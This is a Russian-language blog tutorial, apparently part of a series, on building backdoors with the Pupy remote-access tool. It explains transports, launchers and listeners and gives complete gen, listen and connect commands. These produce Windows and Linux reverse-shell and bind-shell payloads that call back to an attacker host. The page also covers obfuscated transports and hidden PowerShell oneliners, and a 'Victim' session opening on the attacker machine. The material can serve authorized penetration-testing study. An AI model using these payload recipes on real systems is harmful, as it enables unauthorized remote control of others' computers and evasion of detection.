Инструкция по Pupy: как создать бэкдор


Смотрите начало в статье «Как установить Pupy».

Для генерации рабочей полезной нагрузки нам нужно ясное понимание о том, как и что работает, также перед началом работы вам нужно понимать такие термины как:

  • transports
  • launchers
  • listeners
  • payloads

Transport

Transport (транспорт) — это то, каким образом (с использованием каких протоколов и технологий) сервер и клиент передают между собой информацию.

Доступны следующие варианты:

  • ssl (используется по умолчанию): TCP транспорт обёрнутый в SSL.
  • rsa: Аутентификация и шифрование с использованием RSA и AES256, часто сочетается с другими протоколами.
  • ssl_rsa: Как и ssl, но вложен в rsa слой.
  • websocket:
  • aes: Использует статичный ключ AES256.
  • http: Делает трафик похожим на обычный HTTP + вкладывается в слой rsa.
  • obfs3: Протокол, который не позволяет третьей стороне определить на основании содержимого сообщений, какой протокол используется. Для большей безопасности Obfs3 вложен в слой rsa.
  • scramblesuit: Полиморфный сетевой протокол для обхода цензуры. Scramblesuit сложен со слоем RSA для лучшей безопасности.
  • udp: Rsa слой но через UDP (может быть нестабильным, не решает проблемы с потерявшимися при передаче пакетами).
  • другие: Слои без особого интереса и приведены в качестве примеров кода: (dummy, base64, XOR, …).

Все транспорты способны быть обёртками друг к другу (stackable). Это означает, что, создавая пользовательскую конфигурацию транспорта (pupy/network/transport/<transport_name>/conf.py), вы можете сделать так, чтобы ваша сессия pupy выглядела как угодно. Например, вы можете сложить HTTP через HTTP через base64 через HTTP через AES через obfs3.

Launchers

Launchers (лончеры) позволяют pupy запускать настраиваемые действия перед запуском обратного соединения.

  • connect: Выполняется подключение от удалённого компьютера к атакующему.
  • bind: Удалённый компьютер начинает прослушивать порт в ожидании подключения к нему
  • auto_proxy: Получит список возможных SOCKS/HTTP прокси и попробует каждый из них. Методы извлечения прокси: реестр, запросы WPAD, настройки gnome, переменная env HTTP_PROXY
  • dnscnc: DNS эксфильтрация

Лончер connect обычно называют Reverse Shell (Обратный шелл). А bind — это то, что обычно называют просто Shell. Подробности об их различиях и случаях применения здесь.

Listeners

Listeners (прослушиватели) — используются с лончером connect, то есть при Reverse Shell (Обратном шелле), когда нужно ждать подключение от удалённого компьютера.

Если в качестве лончера выбран bind, то нам не нужен прослушиватель на нашем компьютере — нам достаточно сразу подключиться к удалённой системе.

Прослушиватели при запуске должны получить два параметра:

  • порт, к которому будет сделано подоключение
  • транспорт, который использует полезная нагрузка

По умолчанию лончер пытается прослушивать на порту 443 используя транспорт ssl. Эту конфигурацию можно изменить в файле pupy.conf. О том, как добавлять свои собственные прослушиватели, будет рассказано далее.

Формат полезной нагрузки

Pupy умеет создавать файлы для различных операционных систем: Windows, Linux, OSX, Android. Поддерживаются различные архитектуры процессора (64- и 32-битные). При создании полезной нагрузки нужно указывать эти данные в параметрах. Это в первую очередь относится к исполнимым файлам — то есть для исполнимых файлов нужно указать, например, что бэкдор должен быть запущен в операционной системе Windows с архитектурой процессора 64-бита.

Pupy умеет создавать не только исполнимые файлы, но и другие форматы, а именно:

  • client: исполнимые файлы для запуска на целевой машине (.exe, .dll, .lin, .so).
  • py: файл python.
  • pyinst: файл python готовый для использования с pyinstaller.
  • py_oneliner: python oneliner (то есть исполнимый код в одну строку) (запускает в фоне прослушивающий сервер)
  • ps1: файл powershell.
  • ps1_oneliner: powershell oneliner (запускает в фоне прослушивающий сервер).
  • rubber_ducky: полезен с rubber ducky.

Генерировать полезную нагрузку можно двумя способами: используя отдельный файл pupygen.py, либо запустив Pupy и в консоли используя команду

gen

Можно выбрать любой вариант — у этих способов идентичные опции запуска. Я буду показывать на примере работы в сессии Pupy, поэтому начинаю с запуска этой программы.

Запуск Pupy

В статье про установку Pupy я рассказывал о двух вариантах установки и рекомендовал первый. Запуск сессии Pupy различается в зависимости от метода установки. При установке прямо в систему, сессия запускается так:

export PATH=$PATH:~/.local/bin; pupysh

При первом запуске генерируются ключи и сертификаты, которые используются в программе для шифрования соединений с удалёнными системами:

Они сохраняются в файл /root/.config/pupy/crypto/credentials.py

Программа также говорит:


  The usage of this software to access any system,
  service, or network without the owner's consent is
  expressly forbidden.
  
  Please follow https://www.eccouncil.org/code-of-ethics/

Перевод: Использование данного программного обеспечения для доступа к любой системе, услуге или сети без согласия владельца категорически запрещено. Пожалуйста, следуйте кодексу этики: https://www.eccouncil.org/code-of-ethics/

Опции gen

Как сказано выше, genpupygen.py) используются для генерации полезной нагрузки и у них одинаковые опции. Рассмотрим их.

Использование:

gen [-h]
                 [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
                 [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
                 [-P PACKER] [-S] [-o OUTPUT]
                 [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
                 [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
                 [--oneliner-nothidden] [--debug-scriptlets] [--debug]
                 [--workdir WORKDIR]
                 [{bind,auto_proxy,dnscnc,connect}] ...

Опции:


позиционные аргументы:
  {bind,auto_proxy,dnscnc,connect}
                        Выбор лончера. Лончеры делают полезную нагрузку
                        которая при запуске ведёт себя по-разному.
  launcher_args         опции лончера

опциональные аргументы:
  -h, --help            показать справку и выйти
  -f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}
                        (по умолчанию: client)
  -O {android,windows,linux,solaris}, --os {android,windows,linux,solaris}
                        Целевая ОС (по умолчанию: windows)
  -A {x86,x64}, --arch {x86,x64}
                        Целевая архитектура (по умолчанию: x86)
  -U, --uncompressed    Использовать шаблон без сжатия
  -P PACKER, --packer PACKER
                        Использовать пакер, когда форматом вывода выбран 'client' (по умолчанию: )
  -S, --shared          Создать совместно используемый (shared) объект
  -o OUTPUT, --output OUTPUT
                        имя файла вывода
  -d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC>
                        Формат: <максимальное кол-во попыток> <минимальная задержка (секуны)> <максимальная задержка
                        (секуны)>
  -D OUTPUT_DIR, --output-dir OUTPUT_DIR
                        папка вывода (по умолчанию: /root/.config/pupy/output)
  -s SCRIPTLET, --scriptlet SCRIPTLET
                        офлайн python скриплеты для выполнения перед запуском
                        соединения. Можно указать несколько скриплетов.
  -l, --list            вывести список доступных форматов, транспортёров, скриплетов и
                        опций
  -E, --prefer-external
                        В случае автоопределения предпочитать внешний IP
  --no-use-proxy        Не использовать конфигурацию прокси цели, даже если
                        она используется целью (сейчас пока только для ps1_oneliner)
  --oneliner-nothidden  Скрипт Powershell не скрыт целевой стороной (по умолчанию:
                        False)
  --debug-scriptlets    не перехватывать исключения в скриплетах на клиенте
                        для целей отладки
  --debug               собрать с шаблоном отладки (полезная нагрузка открывает
                        консоль)
  --workdir WORKDIR     Установить рабочую папку (По умолчанию = текущая рабочая папка)

Как можно увидеть, некоторые значения установлены по умолчанию. Если запустить команду

gen

без каких-либо опций, то будет сгенерирована полезная нагрузка, она в качестве значений по умолчанию примет следующие значения:

  • формат полезной нагрузки: client
  • лончер: connect (то есть обратный шелл до нашей машины)
  • в качестве IP адреса берётся автоматически определённый наш адрес
  • порт для подключения: 443
  • платформа: windows/x86
  • транспорт: ssl

Но все эти опции мы, конечно же, можем перенастроить нашими параметрами.

Все опции рассмотрены выше, поэтому нет смысла детально объяснять команды — если вам в них что-то непонятно, тогда вернитесь к их описанию.

Начнём с создания обратного шелла — в этом случае удалённый компьютер («Жертва») подключается к компьютеру «Атакующего». Поэтому при создании полезной нагрузки нужно указать IP адрес, к которому должна подключаться Жертва. К примеру, IP адреса своих интерфейсов можно посмотреть командой

ip a

Я буду делать тесты в локальной сети, у компьютера Атакующего локальный адрес 192.168.1.112 — поэтому я буду использовать его, а вы замените его на ваше значение.

Для создания обратного шелла под 64-битную платформу Windows, который будет подключаться к порту 43210 на IP адресе 192.168.1.112 используя транспорт http:

gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http

Всё готово:

Файл успешно создан и сохранён по пути /root/.config/pupy/output/pupyx64.KrN0Qe.exe

Переименую и скопирую его в более близкий путь:


!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe

Поскольку с удалённого компьютера будет делаться подключение к нашему компьютеру, то перед запуском только что созданного файла на целевой системе нам нужно создать прослушиватель, который будет ожидать подключения к нему.

Кстати, при запуске Pupy один прослушиватель запускается автоматически, об этом говорить строка:

[*] Listen: ssl: 443

То есть заключается слушатель для транспорта ssl на порту 443.

Новые слушатели создаются, удаляются и показываются командой listen.

Создание слушателей listen

Использование:

listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT
              [TRANSPORT_ARG1 ...] | -r TRANSPORT]

Опциональные аргументы:

  -h, --help            показать справку и выйти
  -l, --list            показать рекущие слушатели
  -L, --list-transports
                        показать доступные транспорты
  -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...]
                        запустить слушатель
  -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...]
                        запустить слушатель (игнорируя прокси)
  -r TRANSPORT, --remove TRANSPORT
                        остановить слушатель

Поскольку для своей полезной нагрузки я выбрал транспорт http, а в качестве порта указал 43210, то слушатель в моём случае запускается так:

listen -a http 43210

Общий вид команды такой:

listen -a ТРАНСПОРТ ПОРТ

Строка

[+] Listen: http: 43210

Говорит о том, что всё прошло успешно.

Выведем список всех слушателей:

listen -l

Всё готово — теперь я переношу файл с полезной нагрузкой на целевую систему и запускаю его там.

Через несколько секунд после запуска будет выполнено подключение к компьютеру атакующего и появится примерно следующая информация:

[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('192.168.1.112', 43210) <- 192.168.1.101:49751)


К управлению сессиями, выполнению команд на удалённой машине и эксплуатации мы перейдём в следующей части. А пока рассмотрим ещё несколько популярных примеров генерации полезной нагрузки.

Создание бэкдора для Windows

Чтобы создать шелл, который откроет порт 54321 для 64-битной ОС Windows и будет ждать подключение от удалённого компьютера по транспорту http выполните следующую команду:

gen -f client -O windows -A x64 bind --port 54321 -t http

В этом случае мы не указываем IP адрес, поскольку данная полезная нагрузка никуда не подключается. Но мы указываем порт — этот порт будет открыт на компьютере Жертвы в ожидании подключения Атакующего.

Подключение к бэкдору

Для подключения используется команда connect. Рассмотрим её опции.

Использование:

connect [-h] -c <хост:порт>
        [-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]

Опции connect

позиционные аргументы:
  transport_args        Аргументы транспорта: ключ=значение ключ=значение ...

опциональные аргументы:
  -h, --help            показать справку и выйти
  -c <host:port>, --host <хост:порт>
                        хост:порт сервера pupy к которому нужно подключиться. Вы можете
                        указать несколько аргументов --host arguments для попытки
                        подключения к нескольким IP
  -t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}
                        Используемый транспорт

Как можно увидеть, обязательно нужно указать IP и порт подключения. Транспорт можно не указывать.

Кстати, в Windows IP адрес можно узнать командой

ipconfig /all

Для подключения к порту 54321 хоста 192.168.1.101:

connect -c 192.168.1.101:54321

Как сделать бэкдор для Linux

Для Linux можно также создать обратный шелл и обычный шелл.

Для создания обратного шелла:

gen -f client -O linux -A x64 connect --host 192.168.1.112:44445 -t http

Прослушиватель запускается точно так же, как это было показано выше:

listen -a http 44445

Для создания бэкдора, который будет ждать подключения от нас:

gen -f client -O linux -A x64 bind --port 44446 -t http

Для подключения к нему:

connect -c localhost:44446

Итак, в этой части мы научились создавать полезную нагрузку и подключаться к бэкдору.

В следующей части мы рассмотрим как выполнять команды на удалённой системе: Как удалённо управлять компьютерами через бэкдор


Рекомендуется Вам:

One Comment to Инструкция по Pupy: как создать бэкдор

  1. Max:

    Алексей помоги у меня ничего не получается!

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *